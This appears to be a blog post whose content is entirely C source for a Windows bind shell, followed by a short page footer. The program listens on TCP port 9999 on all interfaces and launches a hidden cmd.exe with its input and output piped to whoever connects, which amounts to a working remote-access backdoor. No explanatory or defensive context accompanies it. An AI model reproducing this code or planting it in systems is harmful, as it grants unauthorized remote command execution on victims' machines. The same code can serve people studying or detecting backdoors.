#include <winsock2.h>
#include <tchar.h>
#include <process.h>
#pragma comment(lib,"WS2_32.lib")
unsigned WINAPI ThreadProc(LPVOID lparam)
{
SOCKET sock=(SOCKET)lparam;
STARTUPINFO startinfo={0};
PROCESS_INFORMATION pi={0};
startinfo.cb=sizeof(STARTUPINFO);
startinfo.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
startinfo.hStdInput=startinfo.hStdOutput=startinfo.hStdError=(HANDLE)sock;
startinfo.wShowWindow=SW_HIDE;
startinfo.lpDesktop=_T("WinSta0\\Default");
TCHAR CmdPath[MAX_PATH]={0};
GetSystemDirectory(CmdPath,MAX_PATH);
lstrcat(CmdPath,_T("\\cmd.exe"));
if(!CreateProcess(CmdPath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&startinfo,&pi))
{
return FALSE;
}
WaitForSingleObject(pi.hThread,INFINITE);
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
void StartShell()
{
WSADATA wsadata;
if(WSAStartup(MAKEWORD(2,2),&wsadata))
return;
if(HIBYTE(wsadata.wVersion)!=2 || LOBYTE(wsadata.wVersion)!=2)
{
WSACleanup();
return;
}
SOCKET hSock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
if(hSock==INVALID_SOCKET)
{
WSACleanup();
return;
}
SOCKADDR_IN sockaddr;
sockaddr.sin_family=AF_INET;
sockaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
sockaddr.sin_port=htons(9999);
HANDLE hThread=NULL;
SOCKET hAcceptSock=INVALID_SOCKET;
__try
{
if(bind(hSock,(SOCKADDR*)&sockaddr,sizeof(sockaddr)))
__leave;
if(listen(hSock,5))
__leave;
hAcceptSock=accept(hSock,NULL,NULL);
if(hAcceptSock==INVALID_SOCKET)
__leave;
hThread=(HANDLE)_beginthreadex(NULL,0,ThreadProc,(LPVOID)hAcceptSock,0,NULL);
if(hThread==NULL)
__leave;
WaitForSingleObject(hThread,INFINITE);
}
__finally
{
if(hAcceptSock!=INVALID_SOCKET)
closesocket(hAcceptSock);
if(hThread!=NULL)
CloseHandle(hThread);
closesocket(hSock);
WSACleanup();
}
}
int main()
{
StartShell();
return 0;
}
零管道
最新推荐文章于 2022-01-25 19:32:38 发布